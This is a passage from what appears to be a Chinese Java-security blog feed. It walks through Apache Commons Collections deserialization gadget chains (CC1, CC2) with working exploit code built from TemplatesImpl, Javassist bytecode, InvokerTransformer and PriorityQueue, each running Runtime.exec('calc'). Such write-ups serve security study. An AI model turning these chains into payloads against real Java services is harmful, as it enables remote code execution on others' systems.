class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassClassPath;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"> </span><br><span class="line"><span class="comment">//TIP To &lt;b&gt;Run&lt;/b&gt; code, press &lt;shortcut actionId=&quot;Run&quot;/&gt; or</span></span><br><span class="line"><span class="comment">// click the &lt;icon src=&quot;AllIcons.Actions.Execute&quot;/&gt; icon in the gutter.</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object o)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">objout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">        objout.writeObject(o);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">objinp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">        objinp.readObject();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[][] generateByteCode() <span class="keyword">throws</span> Exception&#123; <span class="comment">//返回恶意类的字节码的二维byte数组，该类在加载时即执行恶意的静态代码块</span></span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">cp</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        cp.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(AbstractTranslet.class));</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> cp.makeClass(<span class="string">&quot;evil&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc\&quot;);&quot;</span>;</span><br><span class="line">        cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line">        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));</span><br><span class="line">        <span class="type">byte</span>[][] evilbyte = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;cc.toBytecode()&#125;;</span><br><span class="line">        <span class="keyword">return</span> evilbyte;</span><br><span class="line"> </span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(TemplatesImpl obj, String fname, T newf)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">filed</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(fname);</span><br><span class="line">        filed.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        filed.set(obj,newf);</span><br><span class="line">    &#125;<span class="comment">//利用反射设置TemplatesImpl的私有属性</span></span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="comment">//链子1</span></span><br><span class="line"><span class="comment">//        Class runtimeClass = Runtime.class;</span></span><br><span class="line"><span class="comment">//        Transformer[] transes = new Transformer[]&#123;new ConstantTransformer(runtimeClass),new InvokerTransformer(&quot;getDeclaredMethod&quot;,new Class[]&#123;String.class,Class[].class&#125;,new Object[]&#123;&quot;getRuntime&quot;,null&#125;),new InvokerTransformer(&quot;invoke&quot;,new Class[]&#123;Object.class,Object[].class&#125;,new Object[]&#123;null,null&#125;),new InvokerTransformer(&quot;exec&quot;,new Class[]&#123;String.class&#125;,new Object[]&#123;&quot;calc&quot;&#125;)&#125;;</span></span><br><span class="line"><span class="comment">//        ChainedTransformer chtfm = new ChainedTransformer(transes);</span></span><br><span class="line"><span class="comment">////        chtfm.transform(runtimeClass);</span></span><br><span class="line"><span class="comment">//        TransformingComparator tc = new TransformingComparator(chtfm);</span></span><br><span class="line"><span class="comment">//        tc.compare(runtimeClass,runtimeClass);</span></span><br><span class="line"><span class="comment">////</span></span><br><span class="line"><span class="comment">//        PriorityQueue pq = new PriorityQueue(1);</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        pq.add(1);</span></span><br><span class="line"><span class="comment">//        pq.add(2);</span></span><br><span class="line"><span class="comment">//        Field cp = PriorityQueue.class.getDeclaredField(&quot;comparator&quot;);</span></span><br><span class="line"><span class="comment">//        cp.setAccessible(true);</span></span><br><span class="line"><span class="comment">//        cp.set(pq,tc);</span></span><br><span class="line"><span class="comment">//        serialize(pq);</span></span><br><span class="line"><span class="comment">//        unserialize();</span></span><br><span class="line"> </span><br><span class="line">        <span class="comment">//链子2</span></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">tempobj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_name&quot;</span>,<span class="string">&quot;123&quot;</span>);</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_bytecodes&quot;</span>,generateByteCode());</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_tfactory&quot;</span>,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">ivt</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//                ivt.transform(tempobj);</span></span><br><span class="line">        <span class="comment">//        PriorityQueue pq = new PriorityQueue();</span></span><br><span class="line"><span class="comment">//        Field cp = PriorityQueue.class.getDeclaredField(&quot;comparator&quot;);</span></span><br><span class="line"><span class="comment">//        cp.setAccessible(true);</span></span><br><span class="line"><span class="comment">//        cp.set(pq,ivt);</span></span><br><span class="line"> </span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">tc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(ivt);</span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">pq</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(tc);</span><br><span class="line"> </span><br><span class="line">        <span class="type">Field</span> <span class="variable">qf_queue</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">&quot;queue&quot;</span>);</span><br><span class="line">        qf_queue.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        qf_queue.set(pq,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;tempobj,tempobj&#125;);</span><br><span class="line"> </span><br><span class="line">        <span class="type">Field</span> <span class="variable">qf_size</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">&quot;size&quot;</span>);</span><br><span class="line">        qf_size.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        qf_size.set(pq,<span class="number">2</span>);</span><br><span class="line"> </span><br><span class="line">        serialize(pq);</span><br><span class="line">        unserialize();</span><br><span class="line"> </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190034677.png" alt="image-20240919003454555"></p><p><strong>调用链：</strong></p><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">PriorityQueue.readObject -&gt;</span><br><span class="line">PriorityQueue.heapify -&gt;</span><br><span class="line">PriorityQueue.siftDown -&gt;</span><br><span class="line">PriorityQueue.siftDownUsingComparator -&gt;</span><br><span class="line"> </span><br><span class="line">    TransformingComparator.compare -&gt;</span><br><span class="line">    InvokerTransformer.transform -&gt;</span><br><span class="line"> </span><br><span class="line">        TemplatesImpl.newTransformer -&gt;</span><br><span class="line">        TemplatesImpl.getTransletInstance -&gt;</span><br><span class="line">        TemplatesImpl.defineTransletClasses -&gt;</span><br><span class="line"> </span><br><span class="line">            ClassLoader.defineClass</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;cc2&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#cc2&quot;&gt;#&lt;/a&gt; CC2&lt;/h2&gt;
&lt;p&gt;链子对应版本：Common Collection 4.0&lt;/p&gt;
&lt;h3 id=&quot;利用templatesimpl动态加载字节码&quot;&gt;&lt;a </summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-CC1</title>
    <link href="http://example.com/2024/09/17/JavaSec-CC1/"/>
    <id>http://example.com/2024/09/17/JavaSec-CC1/</id>
    <published>2024-09-17T13:28:41.000Z</published>
    <updated>2024-09-18T04:30:32.027Z</updated>
    
    <content type="html"><![CDATA[<h2 id="cc1链"><a class="markdownIt-Anchor" href="#cc1链">#</a> CC1 链</h2><h3 id="commons-collections"><a class="markdownIt-Anchor" href="#commons-collections">#</a> Commons Collections</h3><p>Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ，主要封装了 Java 的 Collection (集合) 相关类对象，它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。</p><p>作为 Apache 开源项⽬的重要组件，Commons Collections 被⼴泛应⽤于各种 Java 应⽤的开发，⽽正 是因为在⼤量 web 应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化⽤漏洞的普遍性和严重性。</p><p><strong>Apache Commons Collections 中有⼀个特殊的接口，其中有⼀个实现该接口的类可以通过调用 Java 的反射机制来调用任意函数，叫做 InvokerTransformer。</strong></p><p><strong>环境：</strong></p><ul><li>CommonsCollections &lt;= 3.2.1</li><li>java &lt; 8u71</li></ul><p>存一下老版本 java 下载地址：</p><p><a class="link" href="https://www.oracle.com/cn/java/technologies/downloads/archive/">Java Archive | Oracle 中国 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://blog.lupf.cn/articles/2022/02/19/1645283454543.html">Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>导入 Maven 依赖</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">           <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">           <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">           <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="利用过程分析"><a class="markdownIt-Anchor" href="#利用过程分析">#</a> 利用过程分析</h3><p>利用这些漏洞的方法一般是寻找到某个带有危险方法的类，然后溯源，看看哪个类中的方法有调用危险方法 (<strong>有点像套娃，这个类中的某个方法调用了下个类中的某个方法，一步步套下去，这里表述的可能不是特别清晰，不过没事，慢慢看下去</strong>)，并且继承了序列化接口，然后再依次向上回溯，直到找到一个<strong>重写了 readObject 方法</strong>的类，并且符合条件，那么这个就是<strong>起始类</strong>，我们可以利用这个类一步步的调用到危险方法 (这里以 **“Runtime 中的 exec 方法为例”**)，这就是大致的 Java 漏洞链流程。</p><p>入口： <code>org.apache.commons.collections.Transformer</code> ，transform 方法有 21 种实现</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172222563.png" alt="image-20240917222226514"></p><p>入口类： <code>org.apache.commons.collections.functors.InvokerTransformer</code> ，它的 transform 方法使用了反射来调用 input 的方法，input，iMethodName，iParamTypes，iArgs 都是可控的</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172223862.png" alt="image-20240917222322825"></p><p>首先先尝试直接利用 invoketransformer 来执行命令</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172229249.png" alt="image-20240917222930198"></p><p>去找一个其它的类有 transform 方法，并且传入的 Object 是可控的，然后我们只要把这个 Object 设为 InvokeTransformer 即可，我们全局搜索 transform 方法，能够发现很多类都是有 transform 方法的，我们这里先研究的是 CC1，所以我们直接看 <code>TransformerMap</code>  类</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172234656.png" alt="image-20240917223412631"></p><p>在 <code>TransformedMap</code>  中的 checkSetValue 方法中调用了 transform，valueTransformer 是构造的时候赋的值，再看构造函数</p><p>构造函数是一个 protected，所以不能让我们直接实例赋值，只能是类内部构造赋值，找哪里调用了构造函数</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172234148.png" alt="image-20240917223453118"></p><p>一个静态方法，这里我们就能控制参数了</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172235545.png" alt="image-20240917223522499"></p><p>现在调用 transform 方法的问题解决了，返回去看 checkSetValue，可以看到 value 我们暂时不能控制，全局搜索 checkSetValue，看谁调用了它，并且 value 值可受控制，在 <code>AbstractInputCheckedMapDecorator</code>  类中发现，凑巧的是，它刚好是 <code>TransformedMap</code>  的父类</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172247297.png" alt="image-20240917224702252"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172255364.png" alt="image-20240917225520330"></p><p>在遍历集合的时候就用过 <code>setValue</code>  和 <code>getValue</code> ，所以只要对 <code>decorate</code>  这个 map 进行遍历 setValue，由于 <code>TransformedMap</code>  继承了 <code>AbstractInputCheckedMapDecorator</code>  类，因此当调用 setValue 时会去父类寻找，写一个 demo 来测试一下：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.Fc0;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">rt</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line">        HashMap&lt;Object,Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        map.put(<span class="string">&quot;1&quot;</span>,<span class="string">&quot;2&quot;</span>);</span><br><span class="line">        Map&lt;Object,Object&gt; decorate = TransformedMap.decorate(map,<span class="literal">null</span>,invokerTransformer);</span><br><span class="line">        <span class="keyword">for</span>(Map.Entry entry: decorate.entrySet())&#123;</span><br><span class="line">            entry.setValue(rt);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409172304072.png" alt="image-20240917230456015"></p><p>继续查找用法，看看有哪些方法里面调用了 setValue 并且可以被我们所利用，最好是直接来个重写过的 readObject 方法，里面调用了 setValue，于是我们在<strong> AnnotationInvocationHandler</strong> 这个类中看到有个调用了<strong> setValue</strong> 方法的<strong> readObject</strong> 方法，很完美的实现了代替之前 Map 遍历功能:</p><p>感谢我的朋友<a class="link" href="https://mak4r1.com/"> Mak <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 的指导，才知道要在 rt.jar 里找😭（尴尬.jpg</p><p><strong>sun.reflect.annotation.AnnotationInvocationHandler：</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409180043959.png" alt="image-20240918004318907"></p><p>我们分析下 <code>AnnotationInvocationHandler</code>  这个类，未用 public 声明，说明只能通过反射调用</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409180043364.png" alt="image-20240918004337328"></p><p>查看一下构造方法，传入一个 Class 和 Map，其中 Class 继承了 Annotation，也就是需要传入一个注解类进去，这里选择 Target</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409180043207.png" alt="image-20240918004355175"></p><p>现在有个难题是 Runtime 类是不能被序列化的，但是反射来的类是可以被序列化的，还好 <code>InvokeTransformer</code>  有一个绝佳的反射机制，构造一下：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Method</span> <span class="variable">RuntimeMethod</span> <span class="operator">=</span> (Method) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;).transform(Runtime.class);</span><br><span class="line"><span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> (Runtime) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;).transform(RuntimeMethod);</span><br><span class="line"><span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br></pre></td></tr></table></figure></div><ol><li><code>RuntimeMethod</code> ：利用 <code>InvokerTransformer</code>  获取 <code>Runtime</code>  类的 <code>getRuntime</code>  方法。这个代码段通过反射获取 <code>Runtime</code>  类的 <code>getRuntime</code>  方法，这是一个静态方法，返回 <code>Runtime</code>  实例。</li><li><code>r</code> ：调用 <code>getRuntime</code>  方法，获取 <code>Runtime</code>  实例。这一步实际调用了 <code>getRuntime</code>  方法，获得一个 <code>Runtime</code>  对象，它可以用于执行系统命令</li><li><code>invokerTransformer</code> ：通过 <code>InvokerTransformer</code> ，使用 <code>exec</code>  方法在运行时执行系统命令 <code>calc</code> 。这行代码调用 <code>Runtime</code>  的 <code>exec</code>  方法，传递 <code>&quot;calc&quot;</code>  参数，企图打开计算器应用程序。</li></ol><p>现在还有个小问题，其中我们的 transformedmap 是传入了一个 <code>invokertransformer</code> ，但是现在这个对象没有了，被拆成了多个，就是上述四段代码，得想个办法统合起来，这里就回到最初的 Transformer 接口里去寻找，找到 <code>ChainedTransformer</code> ，刚好这个方法是递归调用数组里的 transform 方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181053089.png" alt="image-20240918105341958"></p><p>我们就可以这样构造：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">map.put(<span class="string">&quot;1&quot;</span>,<span class="string">&quot;2&quot;</span>);</span><br><span class="line">Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(map, <span class="literal">null</span>, chainedTransformer);</span><br></pre></td></tr></table></figure></div><p>到这一步雏形以及可以构造出来了</p><p><strong>1. <code>serialize</code>  和 <code>deserialize</code>  方法</strong>：</p><ul><li><code>serialize(Object obj)</code> ：将传入的对象序列化并写入 <code>cc1.bin</code>  文件中。</li><li><code>deserialize(String filename)</code> ：从文件 <code>cc1.bin</code>  中读取序列化的对象。</li></ul><p>这两个方法是为了进行序列化与反序列化操作，目的是利用序列化数据触发恶意代码执行。</p><p><strong>2. 构造 <code>ChainedTransformer</code> ：</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br></pre></td></tr></table></figure></div><p>这部分代码使用 <code>InvokerTransformer</code>  和 <code>ChainedTransformer</code>  构建了一个链式转换器，按顺序调用：</p><ol><li>获取 <code>Runtime</code>  类的 <code>getRuntime</code>  方法。</li><li>调用 <code>getRuntime</code>  方法，获取 <code>Runtime</code>  实例。</li><li>通过 <code>Runtime.exec(&quot;calc&quot;)</code>  执行系统命令，打开计算器。</li></ol><p><strong>3. 使用 <code>TransformedMap</code>  装饰 Map 对象</strong>：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(map, <span class="literal">null</span>, chainedTransformer);</span><br></pre></td></tr></table></figure></div><p>这段代码将普通的 <code>HashMap</code>  对象装饰为 <code>TransformedMap</code> ，在调用 <code>put</code> 、 <code>get</code>  等方法时，将会触发链式转换器中的逻辑。</p><p><strong>4. 构造 <code>AnnotationInvocationHandler</code>  实例</strong>：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight 